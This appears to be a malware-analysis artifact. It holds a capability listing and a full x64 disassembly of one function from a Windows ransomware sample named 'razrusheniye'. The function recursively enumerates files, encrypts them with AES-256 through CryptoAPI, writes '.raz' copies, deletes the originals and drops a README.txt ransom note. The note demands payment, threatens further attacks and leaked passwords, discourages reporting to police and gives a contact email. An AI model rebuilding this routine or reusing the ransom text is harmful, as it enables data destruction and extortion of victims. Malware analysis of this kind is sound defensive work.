Function at 0x140001550
Capabilities:
Create new key via cryptacquirecontext
Delete file
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Enumerate files on windows
Enumerate files recursively
Get file size
Hash data via wincrypt
Initialize hashing via wincrypt
Read file on windows
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x528
lea rbx, [rsp + 0xb0]
mov qword [rsp + 0x578], rdx
mov r15, rcx
mov edx, 0x104
mov qword [rsp + 0x580], r8
lea r13, [rsp + 0x3e0]
lea r8, str._s
mov qword [rsp + 0x588], r9
mov r9, rcx
mov rcx, rbx
call sym.snprintf
mov rdx, r13
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x14000165a
mov rbx, qword [sym.imp.msvcrt.dll__stricmp]
lea r12, [rsp + 0x40c]
lea rsi, [0x14000acb8]
test byte [rsp + 0x3e0], 0x10
je 0x140001670
cmp word [r12], 0x2e
je 0x140001630
cmp word [r12], 0x2e2e
je 0x140001880
mov qword [rsp + 0x20], r12
mov r9, r15
lea rdi, [rsp + 0x2d0]
lea r8, str._s_s
mov rcx, rdi
mov edx, 0x104
call sym.snprintf
mov rcx, rdi
call sym.isexcludeddir
test eax, eax
je 0x140001910
nop dword [rax + rax]
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1400015d4
mov rcx, r15
call sym.isexcludeddir
test eax, eax
je 0x140001898
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
add rsp, 0x528
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov edx, 0x2e
mov rcx, r12
call sym.strrchr
mov rbp, rax
test rax, rax
je 0x140001630
lea rdi, str..doc
jmp 0x140001699
add rdi, 8
cmp rdi, rsi
je 0x140001630
mov rdx, qword [rdi]
mov rcx, rbp
call rbx
test eax, eax
jne 0x140001690
mov qword [rsp + 0x20], r12
lea rdi, [rsp + 0x1c0]
mov edx, 0x104
mov r9, r15
mov rcx, rdi
lea r8, str._s_s
call sym.snprintf
mov rcx, qword [rsp + 0x578]
mov edx, 0x20
mov qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], 0
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualLock]
mov qword [rsp + 0xa8], 0
mov dword [rsp + 0x88], 0
mov dword [rsp + 0x8c], 0
mov dword [rsp + 0x90], 0
call rbp
test eax, eax
je 0x140001630
mov rcx, qword [rsp + 0x580]
mov edx, 0x10
call rbp
test eax, eax
je 0x140001630
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
mov qword [rsp + 0x30], 0
mov edx, 0x80000000
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov qword [rsp + 0x58], rax
call rax
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x140001ba9
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48], eax
mov ecx, eax
lea eax, [rax - 1]
cmp eax, 0xfffffffd
ja 0x140001810
mov eax, ecx
mov rcx, rax
mov qword [rsp + 0x50], rax
call sym.malloc
test rax, rax
je 0x140001810
mov qword [rsp + 0x60], rax
mov r8d, dword [rsp + 0x48]
mov rdx, rax
mov rcx, rbp
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r10, qword [rsp + 0x60]
test eax, eax
je 0x140001958
mov eax, dword [rsp + 0x48]
cmp eax, dword [rsp + 0x88]
je 0x14000196f
mov rcx, qword [rsp + 0x50]
mov rdi, r10
xor eax, eax
rep stosb byte [rdi], al
mov rcx, r10
call sym.free
nop dword [rax + rax]
mov rcx, qword [rsp + 0xa8]
test rcx, rcx
jne 0x14000194d
mov rcx, qword [rsp + 0xa0]
test rcx, rcx
jne 0x140001942
mov rcx, qword [rsp + 0x98]
test rcx, rcx
jne 0x140001935
cmp rbp, 0xffffffffffffffff
je 0x140001852
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x578]
mov rdi, qword [sym.imp.KERNEL32.dll_VirtualUnlock]
mov edx, 0x20
call rdi
mov rcx, qword [rsp + 0x580]
mov edx, 0x10
call rdi
jmp 0x140001630
cmp byte [r12 + 2], 0
je 0x140001630
jmp 0x1400015f7
mov rcx, r15
call sym.isexcludeddir
test eax, eax
jne 0x140001650
lea rbx, [rsp + 0x2d0]
mov r9, r15
mov edx, 0x104
mov rcx, rbx
lea r8, str._sREADME.txt
call sym.snprintf
mov rcx, rbx
lea rdx, [0x14000a729]
call sub.msvcrt.dll_fopen
mov rbx, rax
test rax, rax
je 0x140001650
mov r8, qword [rsp + 0x588]
lea rdx, str._You_became_victim_of_the_razrusheniye_ransomware__._n_nUsing_AES_256_CBC_encryption__your_databases__documents__photos_and_other_important_files_have_been_encrypted__nThis_means_you_will_not_be_able_to_access_them_unless_you_decrypt_them._nSee_for_yourself__Look_at_any_file_with_the_.raz_extension_and_its_content__nYou_cannot_recover_these_files_yourself._Thats_not_how_cryptography_works._nDo_not_waste_your_time._Nobody_can_recover_your_files_besides_us__nIf_you_fulfil_the_following__you_are_eligible_for_a_50___discount__n_____You_do_NOT_contact_ANYONE_about_this_incident._n_____You_contact_us_in_UNDER_than_6_hours._nWe_can_decrypt_these_files__we_can_guarantee_that_your_system_will_be_just_as_new__nPayment_for_the_restoration_of_your_system_is__70__with_the_50___discount_its__35___nWe_can_restore_your_systems_in_less_than_6_hours_if_you_pay_now._nHowever__we_will_not_decrypt_your_system_if__n_____You_go_to_police_and_report_us._n____If_you_report_us_AFTER_restoration__we_WILL_attack_you_again________nDo_not_delete_or_modify_encrypted_files__it_will_cause_problems_when_restoring_your_system__nSend_the_personal_ID_to_razrhelp_firemail.cc_via_email._nWe_will_provide_payment_information__once_payment_is_done__we_will_sent_you_a_decryptor__nIf_you_do_not_pay__you_will_NEVER_get_your_data_back_and_sensitive_information_will_be_leaked_online__nBy_sensitive_information_we_mean_passwords__and_similar__nQ:_How_can_i_be_sure_you_wont_scam_me__nA:_You_can_send_us_3_files__not_bigger_than_3MB__and_we_will_decrypt_it__and_send_it_back_to_you._nYou_can_then_decide_if_you_want_to_restore_the_rest_by_paying__70__with_the_50___discount_its__35__n____Your_personal_ID_is:__s_____n
mov rcx, rax
call sym.fprintf.constprop.0
mov rcx, rbx
call sub.msvcrt.dll_fclose
jmp 0x140001650
mov r9, qword [rsp + 0x588]
mov r8, qword [rsp + 0x580]
mov rcx, rdi
mov rdx, qword [rsp + 0x578]
call sym.processfiles
jmp 0x140001630
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
jmp 0x140001843
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
jmp 0x140001832
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
jmp 0x140001821
mov rcx, qword [rsp + 0x50]
mov rdi, r10
rep stosb byte [rdi], al
mov rcx, r10
call sym.free
jmp 0x140001810
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x60], r10
mov rcx, rbp
mov qword [rsp + 0x70], rax
call rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 0xf0000000
lea rcx, [rsp + 0x98]
mov r9d, 0x18
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov r10, qword [rsp + 0x60]
test eax, eax
je 0x140001b97
mov qword [rsp + 0x60], r10
xor r9d, r9d
xor r8d, r8d
mov edx, 0x800c
lea rax, [rsp + 0xa8]
mov rcx, qword [rsp + 0x98]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
mov r10, qword [rsp + 0x60]
test eax, eax
je 0x140001b97
mov qword [rsp + 0x60], r10
xor r9d, r9d
mov rdx, qword [rsp + 0x578]
mov r8d, 0x20
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
mov r10, qword [rsp + 0x60]
test eax, eax
je 0x140001b97
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x60], r10
xor r9d, r9d
mov r8, qword [rsp + 0xa8]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x98]
mov edx, 0x6610
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
mov r10, qword [rsp + 0x60]
test eax, eax
je 0x140001b97
mov qword [rsp + 0x60], r10
xor r9d, r9d
mov r8, qword [rsp + 0x580]
mov edx, 1
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
mov r10, qword [rsp + 0x60]
test eax, eax
je 0x140001b97
mov eax, dword [rsp + 0x48]
xor ecx, ecx
mov qword [rsp + 0x60], r10
xor r9d, r9d
mov qword [rsp + 0x20], rcx
xor edx, edx
mov rcx, qword [rsp + 0xa0]
mov r8d, 1
mov dword [rsp + 0x8c], eax
mov rbp, qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x8c]
mov qword [rsp + 0x28], rax
call rbp
mov r10, qword [rsp + 0x60]
test eax, eax
je 0x140001b97
mov ecx, dword [rsp + 0x8c]
mov qword [rsp + 0x78], r10
mov dword [rsp + 0x6c], ecx
call sym.malloc
mov r10, qword [rsp + 0x78]
test rax, rax
mov qword [rsp + 0x60], rax
je 0x140001b97
mov r8, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x60]
mov rdx, r10
mov qword [rsp + 0x78], r10
call sym.memcpy
mov edx, dword [rsp + 0x48]
xor r9d, r9d
lea rax, [rsp + 0x90]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x60]
mov r8d, 1
mov dword [rsp + 0x90], edx
mov edx, dword [rsp + 0x6c]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0xa0]
mov dword [rsp + 0x30], edx
xor edx, edx
call rbp
mov r10, qword [rsp + 0x78]
test eax, eax
jne 0x140001bb2
mov rdi, r10
mov rcx, qword [rsp + 0x50]
rep stosb byte [rdi], al
mov rcx, r10
or rbp, 0xffffffffffffffff
call sym.free
mov rdx, qword [rsp + 0x60]
mov ecx, dword [rsp + 0x8c]
xor eax, eax
mov rdi, rdx
rep stosb byte [rdi], al
mov rcx, rdx
call sym.free
jmp 0x140001810
mov rcx, qword [rsp + 0x50]
mov rdi, r10
rep stosb byte [rdi], al
mov rcx, r10
call sym.free
or rbp, 0xffffffffffffffff
jmp 0x140001810
lea rbp, [rsp + 0x2d0]
mov r9, rdi
mov edx, 0x104
mov qword [rsp + 0x48], r10
mov rcx, rbp
lea r8, str._s.raz
call sym.snprintf
xor edx, edx
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x30], rdx
mov rcx, rbp
mov rax, qword [rsp + 0x58]
mov edx, 0x40000000
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
call rax
mov r10, qword [rsp + 0x48]
cmp rax, 0xffffffffffffffff
mov rbp, rax
je 0x140001c84
xor eax, eax
mov qword [rsp + 0x48], r10
mov rdx, qword [rsp + 0x60]
mov rcx, rbp
mov qword [rsp + 0x20], rax
mov r8d, dword [rsp + 0x8c]
lea r9, [rsp + 0x94]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r10, qword [rsp + 0x48]
test eax, eax
je 0x140001c53
mov eax, dword [rsp + 0x8c]
cmp dword [rsp + 0x94], eax
je 0x140001c6c
mov rcx, qword [rsp + 0x50]
mov rdi, r10
xor eax, eax
rep stosb byte [rdi], al
mov rcx, r10
call sym.free
jmp 0x140001b77
mov rcx, rbp
mov rax, qword [rsp + 0x70]
call rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov r10, qword [rsp + 0x48]
or rbp, 0xffffffffffffffff
jmp 0x140001c53